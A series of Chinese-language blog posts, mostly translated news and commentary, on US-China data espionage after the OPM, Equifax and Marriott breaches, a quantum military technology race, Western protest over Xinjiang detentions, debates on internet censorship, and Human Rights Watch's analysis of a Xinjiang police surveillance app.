一位前情报官员说，在某些情况下，美国情报人员眼看着 “[这些数据]的碎片随着时间不断被使用”。前官员说，但信息本身是零散的，美国的访问是不平衡的，所以美国官员不清楚这些信息到底来自哪里—— 直到像针对OPM和万豪这样的大型黑客事件被发现。然而，根据前高级情报分析师的说法，美国官员偶尔能够确定由中国黑客控制的网络上的数据的起源，而这些网络正被美国间谍秘密监视着，并悄悄地提醒公司注意这些漏洞，从而防止更大规模的敏感个人信息的黑客攻击发生。

美国的网络间谍们已经热衷于关注中国的数据存储和处理能力。在美国间谍机构内部，“对 [中国] 数据中心、进入与情报或军事有关的设施的技术和硬件有很大的兴趣”，这位前情报官员回忆说：“如果阿里巴巴正在运行一个云，而且他们在中国境内有数据中心，那么，我们长期以来一直针对这些中心”。

但美国间谍机构的知识仍有差距。据一位了解情报问题的前国家安全委员会高级官员回忆，在奥巴马政府末期，官员们要求情报机构 “将中国的反情报威胁与其他国家收集的优先事项相提并论”，也就是说，要在 “各种收集” 方面投入更多的资源，对中国进行监视。这个消息来源说，这种推动 “在很大程度上是由他们 [北京] 日益增长的网络能力和他们日益积极的反情报活动所驱动的”。

据三位前官员回忆，这种更广泛的努力源于这样一种共识：即使考虑到俄罗斯2016年的选举干预活动，也可以说是中国 —— 而不是俄罗斯 —— 已经成为美国最大的长期反情报威胁。前国家安全委员会高级官员回忆说，到奥巴马政府结束时，很明显，在中国 “技术收集方面，在他们非常积极地招募美国特工方面，[北京]已经超过了俄罗斯”。

> 从根本上说，北京的间谍部门只是比莫斯科和华盛顿的间谍部门规模大得多。

从根本上说，北京的间谍机构只是在比莫斯科和华盛顿的间谍机构大得多的规模上运作。“在这个领域，中国比几乎所有的人都有优势，其中之一就是：如果你有几乎取之不尽用之不竭的人力资本，那么也许你就可以尽可能多地抓取[数据]”，美国国安局威胁行动中心前副主

任史蒂夫·瑞安说，“所以他们[北京]那边的模式是不同的”。

前官员说，俄罗斯在2016年的成功迫使奥巴马时代的高级国家安全官员讨论该国更广泛的脆弱性。据前国家安全委员会高级官员称，他们担心的是，“中国人会不会将他们多年来积累的这些数据武器化？”

“如果他们这样做，就会产生深远的影响，而且可能比俄罗斯人所做的破坏性更大。因为他们拥有的数据量比俄罗斯大得多”，这位前官员说。

尽管如此，一些对华鹰派人士仍然对他们认为的对北京缺乏关注感到沮丧，特别是其工业政策。“我一直在与人斗争，希望能完成这项工作，对中国进行更多的收集”，罗伯特·斯波尔丁说，他在奥巴马政府后期曾担任参谋长联席会议主席的最高中国战略家。在斯波尔丁的要求下，2015年，参谋长联席会议围绕这些问题组织了与一系列高级情报官员以及来自商务部、财政部和国务院的代表的会议。斯帕尔丁说：“[情报界]拒绝参与”。他后来在特朗普政府期间担任国家安全委员会成员。

但其他前国家安全官员强调，在高层对不同情报目标进行的战略性调整和实地结果之间存在时间差，他们说，在这段时间内，对中国的关注有所加强，包括对中国情报机构和中国私营公司之间的关系有了更深入的了解。一位前国家安全官员回忆说，到2016年，美国高级国家安全官员已经“责成[情报界]制定答案，启动了关于私营[中国]公司和国家安全部之间的共享”的车轮。他们说，我们“正在研究法证线索”。

这位消息人士说，奥巴马政府加强了对中国电信巨头中兴通讯的审查有助于促进这一进程：“该调查中获得的部分材料为华为在伊朗和其他地方的做法提供了一条线索。但情况仍在不断变化中”。

在唐纳德·特朗普总统于2017年初上任后，这幅日益完善的图景刺激了美国情报官员和特朗普政府的高级官员，瞄准中国的情报机构和该国私营企业之间的共生关系。〇

—— 未完待续 ——

Beijing Ransacked Data as U.S. Sources Went Dark in China

原文

中美谍战第三部分：科技巨头公司是间谍活动的一部分 - iyouport

关于高堡奇人

科技巨头作为间谍机构工作的延伸 ……

欢迎回来！

如果您错过了前面两部分内容，可以在这里回顾：

- 《中美谍战（一）：中央情报局特工是如何被北京发现的？》
- 《中美谍战（二）：北京洗劫数据，美国消息来源在中国被封锁》

本集内容是该系列最后一部分。再一次提醒，该系列来自“外交政策”杂志，它不是独立的；而且，本系列的内容均来自对美国情报机构官员和相关人士的采访，对这些官员的话的转述，而不是调查，更不是吹哨。而且，鉴于这个话题的敏感性，根据惯例，稿件在发表之前已经经过了情报部门的审查。

这并不是说它公开的信息中有错误，而是说，您所看到的可能不是全部真相。于是我们在其中添加了一些关联文章（绿色的链接），以尽可能将中美关系幕后的图景补充完整。

IYP 不关心任何一个国家政权的利益，我们关心的是您的利益，以及时局分析对反抗战术部署的启发性。

2017年，当美国总统唐纳德·特朗普开始了与中国的贸易战时，另一场战斗也在幕后激烈进行着。中国和美国情报机构之间酝酿了十年之久的数据冲突正在升温，其驱动力既包括日益自信的北京的野心，也包括华盛顿新政府中的关键人物的信念，即：中国带来的经济、政治和国家安全挑战的规模是美国几十年来从未遇到过的 —— 如果有的话。

如果您错过了《中国的银河帝国，和高堡奇人》

北京给美国的对华鹰派提供了大量的弹药。同年，为中国人民解放军工作的黑客策划了对美国最大的信用报告公司之一 Equifax 的大规模入侵。与军队有联系的黑客携大量个人数据潜逃，包括社会安全号码、家庭住址、出生日期、驾驶执照号码和信用卡信息。大约有1.45亿美国人的个人数据被黑客曝光。

特朗普政府的中国政策可能是自20世纪60年代冷战高峰以来美国总统任期内最对立的一次。不过，即使在政府内部，关键的中国顾问也存在分歧。“在国家安全委员会[特朗普时代]的第一年，我们在争论和辩论[中国政策]的方向”，罗伯特·斯波尔丁回忆说，他在2018年初之前一直担任该部门的战略规划高级主管。斯波尔丁说，在政府的国家安全战略出台后，环境在2018年发生了变化，它决定升级贸易战，以及国务院亚洲政策最高官员苏珊·桑顿的离职，斯波尔丁说她阻碍了联邦调查局和司法部在与中国有关的起诉中采取更积极的态度的尝试。(桑顿拒绝发表评论）。

但对一些批评者来说，美国政府不断变化的理由削弱了其观点在中国和技术问题上的可信度。特朗普政府中一些官员强调中国科技巨头带来的国家安全威胁，而其他人—— 最明显的是特朗普本人—— 则认为这些公司进入美国商品和市场的机会是正在进行的贸易战中的谈判筹码。中国的一家大型电信公司中兴通讯，在政府以国家安全为由禁止美国供应商与其合作后，几乎被赶出了业界，直到特朗普给予该公司缓刑，似乎是作为与中国领导人习近平进行的贸易相关谈判的一部分。“中国的习主席和我，正在共同努力，给中国的大型手机公司中兴通讯提供一个快速恢复业务的方法。在中国失去了太多的就业机会。商务部已接到指示，要完成这项工作！”，特朗普在2018年5月的推文中说。

在总统提出放弃对因逃避制裁而在加拿大被捕的华为高管的引渡请求以换取贸易救济后，美国政府对世界上最大的电信设备公司华为的全面压制失去了动力。政府官员也从暗示该公司目前代表中国间谍部门的恶意活动转向了强调它 “在未来” 可能构成的威胁，一旦它垄断了世界上大部分电信基础设施时。

这是一个合理的担忧。中国的工业在某种程度上一直从属于党国，或与党国交织在一起，尽管这些关系的起源往往很模糊。几十年来，中国人民解放军是中国企业的主导者，拥有从医院到避孕套工厂的各种业务；中国共产党本身也多次试图迫使军队剥离以打击腐败。

但美国官员说，中国的情报部门和中国企业之间的拥抱已经变得更加紧密。2017年，在习近平不断加强的威权主义下，北京颁布了一项新

的“国家情报法”，迫使中国企业在被要求时与中国情报机构和安全机构合作 —— 此举将“以前多年来的情况几乎都编入了法律，尽管腐败已经削弱了它”，一位前中情局高级官员说。

如果您错过了《图解中国科技巨头—半壁“高堡奇人”》

「图」

在奥巴马政府的最后几年，国家安全官员曾指示美国间谍机构加强对中国国家和中国私营工业巨头之间关系的情报收集。据现任和前任美国官员称，到了特朗普时代，这一努力已经取得了“成果”，美国情报界收集了大量关于表面上的中国私营公司与该国情报部门之间协调的证据，包括来回的数据传输。据一位前特朗普时代的国安官员说，有证据表明，公私部门的密切合作“每天都在发生”，“这些商业实体是该党的商业部门”，该消息人士说，“他们当然会与情报部门合作，以实现该党的目标”。

美国最高反间谍官员威廉·埃瓦尼纳 (William Evanina) 说：“北京接触并筛选了大量偷窃到的和以其他方式获得的数据的能力”，使[中国]有大量机会针对外国政府、私营行业和世界各地其他部门的人员，以收集他们想要的额外信息，如研究、技术、商业秘密或机密信息”。他说：“中国的技术公司在处理这些大量数据并使其对中国的情报部门有用方面起着关键作用”。

据现任和前任官员称，在相当于情报任务的情况下，中国的间谍部门命令具有大数据分析能力的中国私营公司“调整”—— 即处理或加工 —— 大量的信息，包括来自像美国人事管理办公室（**OPM**）的通过大规模入侵获取的信息，这些信息有情报价值。他们说，这些数据随后迅速回流到中国国家实体。

“试想一下，在任何一天，如果国家安全局和中央情报局正在收集信息，比如说，关于[中国军队]的信息，我们可以带回7、8、10、15PB的数据，把它交给谷歌或亚马逊或微软，然后说，‘周末你们整理下这个吧。我们想要所有这些分析；下周把结果还给我们。这就是他们[北京]所做的。他们有阿里巴巴，有百度”，一位现任高级情报官员说。

美国官员说，通过与中国公司的数据处理能力合作，北京的间谍机构可以迅速筛选大量信息，以找到具有情报价值的关键碎片 —— 例如，通过交叉检查实时旅行情报和中国国家安全部（MSS）收集的其他来源，帮助识别中情局的卧底间谍。官员们说，通过将这些昂贵的

数据处理功能外包给私营公司，中国情报机构还可以利用这些商业能力，其规模是他们自己不具备的，或者不想在内部建立的。阿里巴巴和百度没有对多个评论请求作出回应。

这种合作并不总是无摩擦的。“私营公司在其中只是人质”。一位前反间谍主管说，“争论随之而来”。这位前高管说，有时，美国情报官员会了解到中国公司内部“生气的员工”对代表中国情报部门“做额外工作”感到不满。但他们有义务服从指挥。这位前中情局高级官员说：“所有主要的中国公司都受益于在不同时期知道如何不因规模过大而失败”。这些公司有时勉强地与北京的情报机构合作，但最终仍是对后者的一种服从。

中国专家、新美国安全中心兼职高级研究员 Elsa Kania 说：“许多中国科技公司”可能想成为正常的科技公司，而不想处理这些意识形态的期望，或国家安全的期望。“大多数中国科技公司与硅谷的同行没有什么不同。唯一一点是，他们正试图在一个系统中运作，在这个系统中，存在着与政府建立更紧密关系的激励和期望，或者说，如果他们在某些方面越轨，就有可能遭到报复”。

中国公司在谈论这种关系时走的是一条棘手的路线。在公开场合，特别是在英语语境中，他们否认与北京的情报或军事机构有任何联系。华为公司面临着大量关于这些联系的指控，它难以置信地声称其是独立的。但在国内，这些公司却一再声明对党的忠诚，并愿意协助情报部门。

有些联系更加根深蒂固。例如，这位前中情局高级官员说，根据“高度可信的报告”，中情局得出结论，运营最受欢迎的微信信息服务的中国科技巨头腾讯，在成立初期就得到了国家安全部的资助。这位前官员说，该组织是中国的主要民间情报机构，提供了“种子投资”，“当时他们正试图建立GFW和监控技术”。

【注：这应该不奇怪。硅谷巨头的起源同样的如此，只是对于中国科技巨头来说，相关揭露信息太少了。见《谷歌的真面目—— They’re always watching》，以及《解密文件：科技产业巨头为什么能成为巨头？私有化间谍活动如何发动了认知战争？》】

“这是完全错误的”，腾讯说，“我们作为一家创业公司的历史是众所周知的，首先由我们的创始人资助，然后是IDG和电讯盈科，而且我们是一家上市公司，所有权透明超过16年”。

【注：电讯盈科是一家以香港为总部的环球公司，在电讯、媒体、资

讯科技服务方案、物业发展及投资以及其他业务均持有权益。】

前中情局高级官员说："当微信成为一个东西时，合作就开始了；这并不是说腾讯或[其创始人]马化腾在完全按照国安部的指示行动，但是，如果在任何时候中国的安全部门需要援助，他们就会提供"。

"腾讯，像任何其他在中国经营的公司一样，以透明的方式遵守[中国]法律"，腾讯说，"除此之外的指控是完全错误的"。

多年来，中国间谍机构的经济间谍活动使大陆公司受益匪浅，中国情报部门入侵或窃取的数据流向私营部门，使中国公司在竞争中占得先机。虽然知识产权盗窃在中国很常见，而且往往是由私营部门推动的，但长期以来，国家在工业间谍活动中发挥了关键作用。在网络时代，美国公司凭借其高额的政府和军事合同，成为多汁的目标。2011年至2016年担任美国国家情报局网络问题官员的肖恩·卡努克说："大家都知道，有一些信息已经从中国情报机构流向了私营部门实体"。

据美国国家安全局威胁行动中心前副主任史蒂夫·瑞安（Steve Ryan）说，早在2000年，美国官员就观察到中国旨在刺穿美国国防承包商的网络行动—— 瑞安说，这种情况在2006年左右就"经常发生"了。他回忆说，中国人"只是在某些领域和某些技术上对国防工业基地进行盲目的抢劫"；"然后我们就会看到他们成立一个公司，然后让美国方面的利益集团倒闭。我们一次又一次地看到这种情况"。这些网络入侵变得无处不在，根据参议院军事委员会2014年的一份报告，中国国家黑客在一年内成功破坏了五角大楼美国运输司令部(USTRANSCOM)承包商的网络20次。2018年，中国特工人员成功入侵了美国海军的一个承包商，盗取了与潜艇导弹开发有关的高度敏感信息。

当中国推出新的战斗机和其他抄袭美国设计的武器系统时，美国官员感到不安。美国情报官员利用自己的技术间谍能力，也观察到黑客信息正从中国情报机构控制的数据中心转移到准私人、准公共的中国国防企业。一位前美国国家安全局高级官员说，但几年前，这些被窃取的数据会留在中国公司，用于"竞争用途"。此人回忆说，这就像中国情报部门给其国防部门合作伙伴的"一份可以有效利用的礼物"。然而，这种早期的合作模式是单向的，数据从中国的间谍传递到它自己的工业基地，作为北京与华盛顿的技术平等竞赛的一部分。

但美国官员说，利用中国私营企业集团为中国的情报机构提供技术和数据处理火力，代表了这种演变的一个新阶段。前特朗普时代的国家安全官员说："他们使用的公司将自己描绘成大型的、合法的、有跨

司法管辖区足迹的跨国企业。这些不是简单的小型的 …… 国防承包商在中国境内工作。它们是在世界各地都有足迹的大型跨国公司”。前国家安全局高级官员瑞安说：“中国” 利用其私营部门实体不仅促进了他们的情报收集，而且促进了情报处理。

美国官员说，关键的法律限制和文化规范意味着美国间谍机构不能诱使美国公司筛选其网络间谍活动的成果；他们不得不自己建立这些数据分析能力。例如，他们不能征用美国私营公司的数据处理能力来帮助他们创建一个中国人所知道的综合情报图景，例如，基于北京以前的黑客攻击，针对美国政府雇员的那次。

但据三位现任和前任高级官员称，综合这些平行的数据库一直是美国官员的优先事项，他们一直在努力将他们认为中国人拥有的东西至少镜像化。这可能是一个艰苦的过程。现任高级情报官员说，“我们花了很长时间来调整这些数据”，数据来自OPM入侵事件。

但是，当美国官员最终分析所有这些数据时，出现的关于事实上中国人知道什么的画面并不漂亮。这位高级情报官员说，美国关于这个问题的情报报告是 “令人作呕的”。

在 FP Analytics 的 “数据治理权力图” 系列中，研究了正在出现的法律、法规和技术，这些法律、法规和技术既支持更多的数据收集，又影响着跨境数据流动。这一系列目录中的数据本地化法律、全面的国家数据法规、政府数据收集以及监测和监控技术，正在塑造全球数据治理格局，并对个人、公司、政府、多边机构和非营利组织产生了广泛影响。

如果您错过了《真正能打破墙的东西可能不是梯子：巴尔干化和互联网的未来》

“看看Equifax，再加上安泰，金融的东西，万豪等等，没有什么是他们不知道的”，现任情报官员说，指的是中国黑客对美国公司进行的一系列破坏行为。他们说，“我们一直在努力推测他们所知道的关于可能成为中国间谍目标的美国人的情况。然后我们将其与我们获得的关于他们的利益的情报结合起来”，现任高级官员说，“然后我们回去向这些潜在的间谍目标提供防御性简报”，“这就是我们现在的新商业模式”。

特朗普时代的美国情报官员担心，中国可能也在试行一种 “新的商业模式”。据前特朗普时代的国家安全官员说，在特朗普政府的头几年，国安委和美国情报机构内部的对话 “不断反弹”，讨论中国如何通

过数据寻求安全—— 例如，通过综合来自 Marriot、Equifax、OPM 和其他被入侵的组织的数据来识别美国间谍 —— 可能已经与其更大的经济目标相一致。这位消息人士说，在这一领域的思维 “仍然相对不成熟”。但美国官员认为，中国可能正在利用被盗的个人信息试图破坏美国经济，通过使具有战略意义的商业部门的公司面临财务压力，即使这些公司不从事机密工作。

官员们说，这些数据集也可能被用来以其他方式使中国企业受益。美国前最高网络情报官员卡努克说：“如果我想扩大一家连锁酒店或扩展到国际旅游市场，拥有美国联合航空公司、万豪酒店或美国航空公司的客户记录” 可以为中国企业提供明显的潜在优势，“用于尽职调查和市场研究目的”。同样，卡努克说，对安泰保险公司的黑客攻击可以让中国公司对美国的医疗保健市场有清晰的洞察力。情报官员们说，这些大量的数据也可以作为输入，为人工智能项目建立更好的算法。

如果您错过了《美国、中国和俄罗斯：暗网最强大的民族国家骇客》

虽然这些武器化的数据有的可能来自黑客攻击，但特朗普时代的情报官员还担心，一些中国企业试图投资美国公司的目的是为了获得对美国公司掌握的个人数据的控制权—— 这些数据随后可能被传回给中国情报部门。官员们说，特朗普政府越来越多地利用美国外国投资委员会的程序—— 一个机构间小组审查外国采购是否存在国家安全威胁—— 来阻止中国公司对一些美国公司的收购，部分原因就是这些担心。

对此，如果您错过了《所有信息都是战略性的：信息地缘政治》

驾驭美中关系将是现在的拜登政府面临的最重大的外交政策挑战。但是，在两党的官场上，北京的综合威胁可能是国家安全领域的最后一个伟大的统一问题。拜登政府的中国战略似乎可能与其前任有程度上的差异，但肯定不是种类上的不同。

如果您错过了《中国与两党关系的危险》，以及《在拜登任期内，美国和中国会在西太平洋擦枪走火吗？》

对美国国家安全官员来说，对中国政府与其遍布全球的私营企业 —— 包括华为这样的电信巨头、阿里巴巴这样的大型电子商务平台、以及运营TikTok的字节跳动这样的社交媒体巨头 —— 的关系的深切担忧，将日益影响华盛顿和北京的关系。中国已经成功地将地球上五分之一的人口与全球数据生态系统隔离开了(GFW)；现在，作为一种防

御性的镜像，美国政策制定者正在制定更严格的控制措施，旨在将美国人的数据与中国公司以及北京强大的情报机构隔离开。

对此，推荐《数字殖民主义：帝国的演变》

由于担心内部不稳定和外部对其统治的威胁，中国共产党决定，数据安全等同于政权安全。但这一战略给北京带来了一些内部紧张。一位前高级情报分析员说："今天的中国网络安全系统需要有后门能够进入中国的每一家公司和个人。而且他们愿意承认，这些[后门]可能使攻击者得逞，并可能降低公司的网络安全。"

对此，见《中国的信息控制如何导致网络薄弱？》

这是中国领导人似乎愿意做出的权衡，至少目前是这样—— 尽管这些政策可能催化与中国最重要的贸易伙伴的经济脱钩，尽管这种脱钩本身可能导致国内不稳定。与此同时，中国情报部门和中国工业界之间继续紧紧相连。毕竟，美国前高级情报分析员说，"这是一个国家政权可以伸入一切本土公司的地方"。

更多《超越高堡奇人：在美中的帝国争霸之上》

○

Tech Giants Are Giving China A Vital Edge in Espionage

原文

中美量子军备竞赛意味着什么 - iYouPort

关于高堡奇人

在冷战高峰时期，美国军事规划人员开始担心苏联和其他国家的新型雷达制导导弹防御系统对美国战机造成的威胁。作为回应，美国国防巨头洛克希德·马丁公司著名的“臭鼬工厂”等工程师加强了隐形技术的研究工作，这种技术可以保护飞机免受敌方雷达的窥探。

所产生的创新包括使雷达波偏转的不寻常形状—如美国 B-2 轰炸机的“飞翼”设计—以及碳基材料和新型涂料。隐形技术还不像哈利波特般的隐形斗篷：即使是今天最先进的战机仍然会反映出一些雷达波。

但是这些信号非常小而且微弱，它们会在背景噪声中隐去，从而使飞机不会被发现。

此后中国和俄罗斯已经拥有自己的隐形飞机，但美国的仍然更好。它们使美国在2003年开始的伊拉克战争等毁灭战中拥有发动突袭的优势。

这一优势现在受到了威胁。 2018年11月，中国最大的国防电子公司中国电子科技集团公司（CETC）推出了一款原型雷达，声称可以探测到飞行中的隐形飞机。该雷达利用一些奇异的量子物理现象来帮助揭示飞机的位置。

它只是可以改变战争面貌的几种量子启发技术中的一种。除了找飞机之外，它们还可以增强战场通信的安全性并影响潜艇的导航能力。对这些技术的追求正在引发美中之间的新军备竞赛，将新兴的量子时代看作是一个千载难逢的机会，以获得其军事技术优势。

量子进步如何快速影响军事力量将取决于 Jonathan Baugh 等研究人员的工作。 Baugh 是加拿大滑铁卢大学的一名教授，他正在开发一种设备，该设备是开发量子雷达的更大项目的一部分。其目标用户是：由北美航空航天防御司令部负责的北极站，或美国—加拿大联合组织的 NORAD。

「图」

「图」

Baugh 提醒说，仍然存在巨大的工程挑战。这些挑战包括开发高度可靠的纠缠光子流和构建极其敏感的探测器。很难知道 CETC 是否已经在2016年做到了让雷达能够探测到距离100公里外（62英里）的物体，是否已经解决了这些挑战; 技术细节是秘密。

麻省理工学院教授赛斯·劳埃德（Seth Lloyd）发明了支撑量子雷达的理论，他表示，在缺乏确凿证据的情况下，他对中国公司的主张持怀疑态度。但是，他补充说，量子雷达的潜力不容置疑。当最终部署功能完备的设备时，它将标志着隐形时代的结束。

CETC 的工作是中国长期致力于成为量子技术领域世界领导者的一部分。该国正在为大学的新量子研究中心提供慷慨的资金，并建立一个定于2020年开放的量子科学国家研究中心。它已经在量子通信和密码学专利方面超越了美国（见图表）。

「图」

「图」

美国智库新美国安全中心（CNAS）于2018年9月发表的一项关于中国量子战略的研究指出，中国人民解放军正在招募量子专家，而像中国船舶重工集团这样的大型国防工业公司（CSIC）正在大学里建立联合量子实验室。然而，很难讲哪些项目具有军事价值。“这里存在一定程度的不透明和含糊不清，其中一些可能是故意的，”CNAS 研究的合著者Elsa Kania说。

国会负责审查特朗普政府防务战略的委员会于2018年11月发布了一份报告，警告说美国的优势“在关键领域已经大大减少”，并呼吁对新的战场技术进行更多投资。

其中一种技术可能是量子通信网络。中国研究人员已经建造了一颗卫星，可以在遥远的地点之间发送量子加密的信息，以及在北京和上海之间延伸的地面网络。这两个项目都是由科研人员开发的，但技术诀窍和基础设施很容易适应军事用途。

位于马里兰州阿德菲的美国陆军研究实验室的一个研究小组正在研究一种称为量子隐形传态的方法。这涉及使用纠缠在发送方持有的量子位和接收方持有的量子位之间传输数据，使用的是一种虚拟的，一次性的量子数据线。（这里有更详细的描述）该技术仍局限于实验室，

但该团队表示，它现在足够强大，可以在外面进行测试。

中国可能不久就会测试自己的量子隐形传送系统。研究人员已经建立了光纤网络，将从澳门附近的珠海市延伸到香港。

研究人员还在探索使用量子方法为军队提供更准确、更加万无一失的导航工具。美国的飞机和海军舰艇已经依靠精确的原子钟来帮助跟踪它们的位置。但他们也依赖于全球定位系统（GPS），这是一个绕地球轨道运行的卫星网络。这会带来风险，因为敌人可以伪造或“欺骗”GPS 信号。

军队使用量子技术仍处于早期阶段。无法保证它们在规模上或在绝对可靠性和至关重要的冲突情况下都能很好地工作。但如果它们确实成功，量子加密和量子雷达可能会产生特别大的影响。破译密码和雷达帮助改变了第二次世界大战的进程。而量子通信可能会使窃取秘密消息变得非常困难或者根本不可能。量子雷达可以使隐形飞机像普通飞机一样可见。这两件事都会改变游戏规则。

现在判断究竟是中国还是美国会在量子军备竞赛中脱颖而出、或者它是否会导致冷战式的僵局，都还为时尚早。但中国正在投入量子研究的资金标志着该国是如何领先的。

The US and China are in a quantum arms race that will transform warfare: Radar that can spot stealth aircraft and other quantum innovations could give their militaries a strategic edge. It’s also too early to tell whether it will be China or the US that comes out on top in the quantum arms race—or whether it will lead to a Cold War–style stalemate. But the money China is pouring into quantum research is a sign of how determined it is to take the lead.

原文

为什么美国没有签署反对中国大规模监视的公开信 - iYouPort

关于高堡奇人

看看谁的立场明确，谁在飘忽

「图」

「图」

至少有14位来自由加拿大领导的西方国家的大使聚集在一起，面对中国在新疆西部地区大规模拘留穆斯林的问题进行讨论。在一封泄露给路透社的信件中，大使们要求会见新疆的共产党领导人陈全国。陈是从西藏调来的强硬派，他监督着一个古拉格，其中可能有一百万维吾尔族人被送去“通过再教育改造”，其中许多人被无限期地拘禁而未经审判。

还有数百万人被通过面部识别摄像头、智能手机扫描仪和警察巡逻来进行监控。有些人必须接待官员入住他们的家，这些官员被派遣来评估当地公民的“忠诚度”。中国以所谓的“反恐”为由称这些措施“至关重要”。

对于签署该信函的第一批国家—澳大利亚，比利时，英国，加拿大，丹麦，爱沙尼亚，芬兰，法国，德国，爱尔兰，荷兰，挪威，瑞典和瑞士来说，新疆的痛苦并不是至关重要的国家利益，相反，西方外交官看到了对原则的严峻考验，他们问道：如果我们现在不抗议一百万人未经审判地而被拘留，我们什么时候才能说出来？

可以肯定的是，西方并没有团结起来以捍卫基于规则的秩序。欧盟签署的大使信主要来自北欧。中国领导的欧洲前共产主义国家“16加1”组织中，唯一签署该信函的是爱沙尼亚。澳大利亚是中国的大出口国，也签署了该协议。另一大出口国新西兰则没有签署。

美国的立场则是很难预测。在最近的一次中国演讲中，副总统迈克彭斯对新疆的评论非常严厉。但是，美国在北京的特使并没有签署加拿

大起草的信函。

The West begins to stir over China's massive abuse of Muslims. Foreign governments' worries about Xinjiang reflect a deeper angst about China. To be sure, the West is not united over how to defend the rules-based order. America's position is hard to predict.

原文

主流刊物之一说：美国”需要”像中国那样的互联网审查 - iyouport

关于高堡奇人

【2020年10月27日存档】比恶是一个无底的深渊

新保守主义出版物 The Atlantic 发表了一篇由两位大学教授撰写的文章，题为 “互联网言论永远不会恢复正常”，该文章的副标题为：“在关于自由与控制全球网络的辩论中，中国在很大程度上是正确的，而美国是错误的”……

这篇文章实际上值得全文阅读，不仅是对于任何重视寡头和政府机构监视审查行为的人来说这都是令人发指的观点，而且，因为其中实际上包含了关于硅谷科技巨头与政府合作以审查言论的方式的大量信息。

这篇文章与您可能会在自由主义者网站上读到的文章之间的唯一区别是，此文认为所有这些有关网络言论的限制都是 “一件好事”。

如果您不希望点击那个链接，这里有一个文章的存档。The Atlantic 的主编 Jeffrey Goldberg 曾经向世界保证，“即将到来的对伊拉克的入侵将被铭记为一种深奥的道德举动。” 如果您有兴趣，请看看。

该文章的作者认为：“在过去二十年里有关网络自由与网络控制的激烈辩论中，中国在很大程度上是对的，而美国在很大程度上是错的。” 两位作者中一位是前布什政府的律师。

它写道：“重要的监视和言论控制是成熟和蓬勃发展的互联网的必然组成部分，政府必须在这些实践中扮演重要角色，以确保互联网符合社会规范和价值观。”

这篇文章准确地描绘了社交媒体平台与政府之间的合作以审查言论的方式、并在 Covid-19 大流行期间增加了这种协作，并指出，“在2019年3月，扎克伯格邀请政府在其平台上监管 “有害内容”，以及 “与其他情况一样，Facebook 依靠所谓的事实检查组织和 ‘机构’ (从世界卫

生组织到美国各州政府）来确定哪些内容需要被降级或删除。”

“这些平台与联邦政府进行了‘战略合作’，包括共享信息，以对抗所谓的外国选举干扰。” The Atlantic 的文章概述了 Facebook、Twitter 和 Youtube 如何以 “不断进取但仍不完善的步骤” 一直在进行审查。

- 《媒体巨头和硅谷的武器化算法沉默异议》

该文章的作者断言：网络言论的 “危害” 将继续增长，对这些网络言论的控制也应该持续增加；而且，政府的参与将不断增长。

目前，尽管在政府的压力下，私营部门仍在做出大多数重要的决定。但是，正如扎克伯格所主张的那样，“如果没有政府的大力指导和参与，这些寡头公司可能无法合法地监管言论”。

文章说，“尚不清楚的是，例如，这些公司是否可以在没有更多政府监督的情况下充分控制外国的所谓错误信息。”

几天后，记者 Whitney Webb 又发表了另一篇值得一读的文章，名为 “技术暴政：美国的国安如何利用冠状病毒实现奥威尔式的视野”。，

Webb 详细介绍了美国政府组织人工智能国家安全委员会（NSCAI）在一份从FOIA获得的解密文件中如何辩称：有必要采取更加专制的措施，例如加大与中国使用的监视力度相一致的监视力度，以防止中国技术上超过美国。

- 关于上述提到的这份解密文件，见《他们将中国视为榜样：泄露文件揭示政府间谍机构如何利用冠状病毒推动大规模监视的内幕》

智囊团托尼·布莱尔全球变化研究所（Tony Blair Global Change Institute）的一份新报告也敦促增加监视，他们认为，与 Covid-19 战斗时，技术监视的急剧增加是 “值得付出的代价”。

- 《#COVID-19(84)冠状病毒如何让整个地球变成了反乌托邦地狱-包括但并仅仅是中国：长篇报告》
- 《冠状病毒危机究竟是否能够结束？：威权主义的权衡》

这当然很有趣，因为让一个战争狂前首相的智囊团认为加强监视是停止冠状病毒值得付出的代价，就像是一群抢劫犯争论说，穿越黑暗的小巷所节省的时间值得增加抢劫的风险。

人们看到了主流的叙事管理者对中国如何坏的评述，以及对威权政府的新冷战升级，但是，同时又争辩说西方政府应该拥护北京 **最恶劣** 的威权主义冲动。这令人困惑。

寡头们没有相关业务去控制哪些是能说的内容。政府只是给每个公民强制了越来越多的透明度，同时给政府自己创造了越来越多的不透明性。这是丑陋的，是侮辱性的，必须结束。

言论自由实际上是思想自由。言语是思想的载体。控制人与人之间的交流实际上是控制思想的传播。审查是关于控制公众头脑中的想法。言论控制就是精神控制。

- 《你真的想要思想自由吗？如果是，可以怎么办？》

○□

Narrative Managers Argue China-Like Internet Censorship Is Needed

原文

乔治拜登的儿子投资中国'老大哥'监视技术 - iYouPort

作恶者：谁在帮中国关于高堡奇人地缘政治

有钱大家赚？关于中国大规模监控之另一面的丑闻。

「图」

「图」

近日，人权观察发布了一份关于中国政府监视公民的令人不安的报告：强行安装监视应用程序。该应用程序为执法部门提供了实时监视的便利。

这份68页的报告《中国的算法暴政：对新疆警方大规模监控APP的逆向工程》列出了新的证据说明了新疆的监控国家机器的运作 —— 当地1300万突厥裔穆斯林正遭到政府以“严打暴恐活动专项行动”之名加强的镇压。

从2018年1月到2019年2月，人权观察对一种公安机关使用的手机APP进行逆向工程研究，该APP可以连结一体化联合作战平台（一体化平台），即 新疆警方汇集个人数据、标示潜在“威胁”人员的警务方案。

通过检测这款当时公开可得的APP的内部设计，人权观察揭露了这种大规模监控系统针对的目标对象包括哪些行为和人员。

人权观察也发布了这款APP的截屏图片。

「图」

「图」

新疆当局正在从一般民众身上收集大量不同类型的资料，从血型到身高、从“宗教气质”到政治倾向。该警务平台以**36**种人为数据收集目

标，包括停用智能手机的、避免“与邻居社交”的、以及“热中为清真寺筹募资金或物品” 的人等等。

一体化平台追踪新疆每一个人。借助追踪手机、车辆和身分证，它可以全方位监控人们的动态，还可以记录用电和加油的状况。

人权观察发现，该系统和遍布当地的检查哨共同构成了一道隐形围栏。居民的行动自由受到不同程度的限制，取决于当局认定的威胁程度，并由系统内建的编程因素决定。

当局对一体化平台做了编程，许多稀松平常的合法活动都被视为可疑行为的指标，例如：

- 该系统能够监测出到加油站买汽油的人与该汽车的注册车主不同。这时该APP便会向附近的政府官员推送警报，通过下拉式选单显示不匹配的原因，以决定此案是否可疑而需要出警调查。
- 该APP可以监测到人员出国旅行的时间，提示官员审问“逾期”人员或其亲友有关其旅行的详情。该APP还会指示官员检查“逾期”人员的手机是否存有“可疑内容”。

